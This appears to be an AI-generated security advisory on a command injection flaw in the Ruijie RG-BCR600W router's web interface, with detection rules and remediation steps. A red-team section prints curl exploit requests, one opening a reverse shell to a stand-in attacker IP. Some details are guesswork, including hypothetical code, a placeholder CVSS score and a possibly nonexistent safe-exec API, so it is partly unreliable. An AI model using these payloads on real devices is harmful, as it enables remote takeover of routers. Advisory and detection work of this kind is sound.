CVE-2025-56082

Executive Summary

CVE-2025-56082 is a critical OS Command Injection vulnerability in the Ruijie RG-BCR600W router, specifically within the file /usr/lib/lua/luci/controller/admin/common.lua. An unauthenticated attacker can exploit this flaw by sending a crafted POST request to the check_changes endpoint, leading to arbitrary command execution on the device. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No public exploit code or patch is currently available, making this a high-priority zero-day for asset owners.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a LuCI (Lua-based) web interface component of the Ruijie RG-BCR600W router.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full device compromise.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Can cause denial of service or full control.

Threat Level: Critical. The combination of network accessibility, low complexity, and no authentication makes this a prime target for botnets and ransomware groups.

Deep Dive & Mechanics

The vulnerability resides in the check_changes function within /usr/lib/lua/luci/controller/admin/common.lua. The LuCI framework is used by OpenWrt-based devices for web administration. The function likely processes POST parameters without proper sanitization, passing user input directly to a shell command (e.g., via os.execute() or io.popen()).

Attack Flow:

1. Attacker sends a POST request to /cgi-bin/luci/admin/common/check_changes with a crafted parameter (e.g., cmd=;id).
2. The LuCI controller receives the request and passes the parameter to a shell command without escaping.
3. The injected command executes with root privileges, allowing the attacker to execute arbitrary OS commands.

Root Cause: Lack of input validation and use of shell execution functions with unsanitized user input.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

-- /usr/lib/lua/luci/controller/admin/common.lua
function check_changes()
    local cmd = luci.http.formvalue("cmd")
    local result = os.execute("check_changes.sh " .. cmd)
    -- ...
end

Patched Code (Hypothetical):

-- /usr/lib/lua/luci/controller/admin/common.lua
function check_changes()
    local cmd = luci.http.formvalue("cmd")
    -- Validate input: only allow alphanumeric and specific characters
    if not cmd:match("^[a-zA-Z0-9_]+$") then
        luci.http.status(400, "Bad Request")
        return
    end
    -- Use safe execution with escaped arguments
    local result = luci.sys.exec("check_changes.sh %s", cmd)
    -- ...
end

Key Differences:

• Input validation using a whitelist regex.
• Use of luci.sys.exec with format string to prevent injection.
• Proper error handling for invalid input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Ruijie RG-BCR600W device with default firmware.
• Network access to the device's web interface (port 80/443).

Exploitation Steps:

1. Identify the target: nmap -p 80,443 <target_ip>
2. Send a crafted POST request using curl:

   curl -X POST "http://<target_ip>/cgi-bin/luci/admin/common/check_changes" \
        -d "cmd=;id"
   

3. Verify command execution by checking the response or using a reverse shell:

   curl -X POST "http://<target_ip>/cgi-bin/luci/admin/common/check_changes" \
        -d "cmd=;nc -e /bin/sh <attacker_ip> 4444"
   

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/luci/admin/common/check_changes with unusual parameters.
2. Look for shell metacharacters (;, |, &, $, `) in POST data.
3. Check for outbound connections from the device to unknown IPs on high ports (e.g., 4444).
4. Review system logs for unexpected command execution:

   grep "check_changes" /var/log/messages
   

Honeypot Setup:

• Deploy a fake LuCI endpoint that logs all POST data for analysis.
• Use tcpdump to capture traffic to the device:

  tcpdump -i eth0 port 80 -w capture.pcap
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/luci/admin/common/check_changes with shell metacharacters.
  • Outbound connections from the device to unknown IPs on ports 4444, 1337, or 31337.
  • Unusual DNS queries for dynamic DNS domains (e.g., *.duckdns.org).

• File IOCs:

  • Modified /usr/lib/lua/luci/controller/admin/common.lua (if attacker patches).
  • Presence of /tmp/.backdoor or /tmp/.shell files.
  • New cron jobs in /etc/crontabs/root.

• Process IOCs:

  • Running processes like nc, bash, or python spawned by the web server.
  • High CPU usage from sh or bash processes.

Detection Engineering

YARA Rule

rule CVE_2025_56082_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-56082 in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56082"
    strings:
        $post_path = "/cgi-bin/luci/admin/common/check_changes"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&"
        $shell_meta4 = "$("
        $shell_meta5 = "`"
    condition:
        $post_path and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-56082 OS Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/admin/common/check_changes'
        cs-uri-query|contains|all:
            - 'cmd='
            - ';'
    condition: selection
falsepositives:
    - Legitimate administrative scripts using semicolons (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56082 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/luci/admin/common/check_changes"; http_uri; content:"cmd="; http_client_body; pcre:"/(?:;|\||\&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place RG-BCR600W routers behind a firewall and restrict access to the web interface to trusted IPs only.
2. Disable remote management: If not required, disable the web interface on WAN interfaces.
3. Monitor logs: Enable detailed logging for HTTP requests and system commands.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Ruijie. Contact their security team for an ETA.
• Workaround: If patching is not possible, implement a reverse proxy (e.g., Nginx) to filter malicious requests:

  location /cgi-bin/luci/admin/common/check_changes {
      if ($args ~* "cmd=.*[;|&]") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

• Replace device: Consider replacing the RG-BCR600W with a vendor that provides timely security updates.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.